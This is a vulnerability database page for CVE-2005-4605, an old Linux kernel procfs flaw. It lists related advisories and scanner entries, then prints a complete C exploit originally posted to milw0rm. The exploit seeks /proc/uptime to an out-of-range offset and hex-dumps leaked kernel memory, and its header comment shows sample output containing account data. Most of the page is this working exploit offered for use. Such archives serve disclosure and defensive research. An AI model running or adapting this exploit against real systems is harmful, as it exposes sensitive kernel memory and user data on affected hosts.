Linux Kernel procfs Memory Disclosure CV
Reporter | Title | Published | Views | Family All 27 |
---|---|---|---|---|
seebug.org | Linux Kernel < 2.6.14.6 procfs Kernel Memory Disclosure Exploit | 1 Jul 201400:00 | – | seebug |
seebug.org | Linux Kernel < 2.6.14.6 procfs Kernel Memory Disclosure Exploit | 6 Aug 200900:00 | – | seebug |
Exploit DB | Linux Kernel < 2.6.14.6 - 'procfs' Kernel Memory Disclosure | 5 Aug 200900:00 | – | exploitdb |
NVD | CVE-2005-4605 | 31 Dec 200505:00 | – | nvd |
CVE | CVE-2005-4605 | 3 Jan 200616:00 | – | cve |
0day.today | Linux Kernel < 2.6.14.6 procfs Kernel Memory Disclosure Exploit | 5 Aug 200900:00 | – | zdt |
Tenable Nessus | Fedora Core 4 : kernel-2.6.14-1.1656_FC4 (2006-013) | 15 Jan 200600:00 | – | nessus |
Tenable Nessus | Ubuntu 4.10 / 5.04 / 5.10 : linux-source-2.6.8.1/-2.6.10/-2.6.12 vulnerabilities (USN-244-1) | 21 Jan 200600:00 | – | nessus |
Tenable Nessus | Mandrake Linux Security Advisory : kernel (MDKSA-2006:040) | 19 Feb 200600:00 | – | nessus |
Tenable Nessus | SUSE-SA:2006:006: kernel | 10 Feb 200600:00 | – | nessus |
/*
* cve-2005-4605.c
*
* Linux Kernel < 2.6.14.6 procfs Kernel Memory Disclosure
* Jon Oberheide <[email protected]>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4605
*
* The procfs code (proc_misc.c) in Linux 2.6.14.3 and other versions before
* 2.6.15 allows attackers to read sensitive kernel memory via unspecified
* vectors in which a signed value is added to an unsigned value.
*
* Usage:
*
* $ gcc cve-2005-4605.c -o cve-2005-4605
* $ ./cve-2005-4605
* [+] Opened /proc/uptime.
* [+] Seek to offset 4294963199.
* [+] Read 4096 bytes, dumping to stdout...
* ...
* ... 00 00 00 00 11 00 00 00 ................................
* ... 3a 30 3a 72 6f 6f 74 00 localhost.......root.x.0:0:root.
* ... 0d 00 00 00 dc 91 0f 08 /root./bin/bash.....@...........
* ... bc af 0e 08 00 00 00 00 ............p...................
* ...
*
* Notes:
*
* This one is _ancient_, but str0ke requested it! ;-)
*/
#define _FILE_OFFSET_BITS 64
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>
#include <string.h>
#include <inttypes.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define DUMP 4096
#define PROC "/proc/uptime"
#define TYPE_SIGNED(t) (! ((t) 0 < (t) -1))
#define TYPE_MAX(t) ((t) (! TYPE_SIGNED (t) ? (t) -1 : ~ (~ (t) 0 << (sizeof (t) * CHAR_BIT - 1))))
const char hex_asc[] = "0123456789abcdef";
#define hex_asc_lo(x) hex_asc[((x) & 0x0f)]
#define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4]
void
hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, bool ascii)
{
const uint8_t *ptr = buf;
uint8_t ch;
int j, lx = 0;
int ascii_column;
if (rowsize != 16 && rowsize != 32)
rowsize = 16;
if (!len)
goto nil;
if (len > rowsize)
len = rowsize;
if ((len % groupsize) != 0)
groupsize = 1;
switch (groupsize) {
case 8: {
const uint64_t *ptr8 = buf;
int ngroups = len / groupsize;
for (j = 0; j < ngroups; j++)
lx += snprintf(linebuf + lx, linebuflen - lx,
"%16.16llx ", (unsigned long long)*(ptr8 + j));
ascii_column = 17 * ngroups + 2;
break;
}
case 4: {
const uint32_t *ptr4 = buf;
int ngroups = len / groupsize;
for (j = 0; j < ngroups; j++)
lx += snprintf(linebuf + lx, linebuflen - lx,
"%8.8x ", *(ptr4 + j));
ascii_column = 9 * ngroups + 2;
break;
}
case 2: {
const uint16_t *ptr2 = buf;
int ngroups = len / groupsize;
for (j = 0; j < ngroups; j++)
lx += snprintf(linebuf + lx, linebuflen - lx,
"%4.4x ", *(ptr2 + j));
ascii_column = 5 * ngroups + 2;
break;
}
default:
for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen;
j++) {
ch = ptr[j];
linebuf[lx++] = hex_asc_hi(ch);
linebuf[lx++] = hex_asc_lo(ch);
linebuf[lx++] = ' ';
}
ascii_column = 3 * rowsize + 2;
break;
}
if (!ascii)
goto nil;
while (lx < (linebuflen - 1) && lx < (ascii_column - 1))
linebuf[lx++] = ' ';
for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++)
linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j]
: '.';
nil:
linebuf[lx++] = '\0';
}
void
print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, bool ascii)
{
const uint8_t *ptr = buf;
int i, linelen, remaining = len;
unsigned char linebuf[200];
if (rowsize != 16 && rowsize != 32)
rowsize = 16;
for (i = 0; i < len; i += rowsize) {
linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize));
remaining -= rowsize;
hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize,
linebuf, sizeof(linebuf), ascii);
printf("%s\n", linebuf);
}
}
int
main(void)
{
int fd, ret;
char buf[DUMP];
off_t seek, offset=TYPE_MAX(off_t);
memset(buf, 0, sizeof(buf));
fd = open(PROC, O_RDONLY);
if (fd == -1) {
printf("[-] Error during open(2)\n");
exit(1);
}
printf("[+] Opened " PROC ".\n");
seek = lseek(fd, offset-DUMP, SEEK_SET);
if (seek == -1) {
printf("[-] Error during lseek(2).\n");
exit(1);
}
printf("[+] Seek to offset %lld.\n", seek);
ret = read(fd, buf, DUMP);
if (ret == -1) {
printf("[-] Error during read(2).\n");
exit(1);
}
if (ret == 0) {
printf("[-] read(2) return 0 bytes, your kernel may not be vulnerable.\n");
exit(1);
}
printf("[+] Read %d bytes, dumping to stdout...\n\n", ret);
sleep(3);
print_hex_dump(32, 1, buf, ret, 1);
return 0;
}
// milw0rm.com [2009-08-05]
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo